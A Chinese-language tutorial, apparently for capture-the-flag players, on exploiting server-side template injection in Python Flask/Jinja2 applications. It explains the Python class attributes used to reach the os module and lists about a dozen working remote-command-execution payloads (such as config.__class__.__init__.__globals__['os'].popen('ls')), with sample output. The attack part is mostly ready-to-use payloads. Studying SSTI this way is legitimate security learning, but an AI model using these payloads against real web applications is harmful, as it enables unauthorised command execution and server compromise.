前言
SSTI(Server-Side Template Injection)是服务器端模板注入,和其他如SQL注入、XSS注入等类似,是由于代码不严谨或不规范且信任了用户的输入而导致的。用户的输入在正常情况下应该作为普通的变量在模板中渲染,但SSTI在模板进行渲染时实现了语句的拼接,模板渲染得到的页面实际上包含了注入语句产生的结果。
本篇只讲Python3的Flask模板的SSTI注入总结
SSTI详细讲述参考 SSTI 注入 - Hello CTF、从0到1完全掌握 SSTI - FreeBuf网络安全行业门户
有什么缺失或者不对的地方欢迎大佬补充
Part1 一般利用姿势
一些常用的魔术方法
__dict__ :保存类实例或对象实例的属性变量键值对字典
__class__ :用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。 class 是类的一个内置属性,表示类的类型,返回 ; 也是类的实例的属性,表示实例对象的类。简单来说,是用来返回的方法,用此方法来查看查找的内容。
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__ ,和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__ :以列表返回类的子类 用法:__subclasses__()[索引号]
__init__ :类的初始化方法
__globals__ :对包含函数全局变量的字典的引用__builtins__ ,python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在__builtins__可以查到。
__import__ :该方法用于动态加载类和函数 。如果一个模块经常变化就可以使用 import()来动态载入
SSTI是源于Python的,且通过import引入了许多的类与方法。python的str、dict(字典)、tuple(元组)、list(列表)这些在Python类结构的基类(父类)都是object,而object拥有众多的子类。所以我们利用就是要利用这个object基类,应用这个基类的子类的方法来进行RCE或者读文件(在不同题目环境中,Python的版本不同,利用的类的位置就不同,索引号就不同)
类使用
下方输出示例引用自 文章 - 关于SSTI注入的二三事 - 先知社区
//这里的情况都为返回一次后就为object主类,有些可能需要多次返回利用bases
>>> ().__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__
(<type 'basestring'>,)
>>> [].__class__.__bases__
(<type 'object'>,)
>>> {}.__class__.__bases__
(<type 'object'>,)
>>> ''.__class__.__bases__[0].__bases__[0] // python2下与python3下不同
<type 'object'>
>>> [].__class__.__bases__[0]
<type 'object'>
利用__subclasses__查看所有子类
>>> {{''.__class__.__bases__[0].__subclasses__()}}
或者>>> {{''.__class__.__base__.__subclasses__()}} //这里要确保返回上一个就是object主类,否则就用bases
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>,
<class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>,
<class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>,
<class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>,
<class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>,
<class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>,
<class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>,
<class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>,
<class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>,
<class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>,
<class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>,
<class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>,
<class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>,
<class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>,
<class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>,
<class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>,
<class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>,
<class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'PyHKEY'>,
<class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>,
<class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class '_abc._abc_data'>, <class 'abc.ABC'>,
<class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>,
<class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>,
<class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>,
<class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>,
<class 'os._wrap_close'>, <class 'os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
这里子类有很多,我们优先选择使用 <class 'os._wrap_close'>
类,因为此类含有os、popen,可以远程执行命令,然后就需要用subclasses定位到这个类,我们这里可以利用python脚本实现搜寻这个类的索引号(自行创建脚本或者利用VScode将 , 换成 换行 ,通过VScode每行索引值定位)
假设这里的索引值为157,则返回
>>>{{''.__class__.__base__.__subclasses__()[157]}}
(<class 'os._wrap_close'>)
我们就定位到这个类了,然后我们就初始化这个类然后调用globals全局引用os类,然后用popen方法实现远程命令执行
>>>{{''.__class__.__base__.__subclasses__()[157].__init__.__globals__['popen']('ls').read()}}
flag dockerfile ..
返回本目录内容,我们还可以调用内建函数使用eval或者os类
>>>{{''.__class__.__base__.__subclasses__()[157].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}
flag dockerfile ..
除了正常的payload以外还有更多的RCE payload,如下,第一个为常用payload
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{get_flashed_messages.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{application.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{cycler.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{joiner.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
{{namespace.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
后续会发Part2-常用绕过姿势,Part3-无回显带出,Part4-内存马,Part5-Pickle反序列化内存马